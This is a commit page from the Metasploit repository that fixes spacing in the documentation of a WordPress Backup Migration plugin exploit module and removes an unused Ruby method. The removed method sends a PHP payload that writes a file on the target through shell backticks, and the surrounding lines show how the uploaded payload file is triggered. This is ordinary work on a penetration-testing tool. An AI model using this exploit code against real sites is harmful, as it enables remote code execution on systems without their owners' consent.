Fixed spacing and removed unused method

rapid7 · Jan 11, 2024 · 6d8666e · 6d8666e
1 parent cdc66dd
commit 6d8666e
Show file tree

Hide file tree

Showing 2 changed files with 1 addition and 5 deletions.
diff --git a/documentation/modules/exploit/multi/http/wp_backup_migration_php_filter.md b/documentation/modules/exploit/multi/http/wp_backup_migration_php_filter.md
@@ -76,7 +76,7 @@ Module options (exploit/multi/http/wp_backup_migration_php_filter):
 
    Name              Current Setting  Required  Description
    ----              ---------------  --------  -----------
-   PAYLOAD_FILENAME  ONxu.php       yes       The filename for the payload to be used on the target host (%RAND%.php by default)
+   PAYLOAD_FILENAME  ONxu.php         yes       The filename for the payload to be used on the target host (%RAND%.php by default)
    Proxies                            no        A proxy chain of format type:host:port[,type:host:port][...]
    RHOSTS            127.0.0.1        yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
    RPORT             8000             yes       The target port (TCP)

diff --git a/modules/exploits/multi/http/wp_backup_migration_php_filter.rb b/modules/exploits/multi/http/wp_backup_migration_php_filter.rb
@@ -110,10 +110,6 @@ def write_to_payload_file(string_to_write)
     register_file_for_cleanup(datastore['PAYLOAD_FILENAME'])
   end
 
-  def create_payload_file
-    send_payload("<?php `echo>#{datastore['PAYLOAD_FILENAME']}`;?>")
-  end
-
   def trigger_payload_file
     res = send_request_cgi(
       'uri' => normalize_uri(target_uri.path, 'wp-content', 'plugins', 'backup-backup', 'includes', datastore['PAYLOAD_FILENAME']),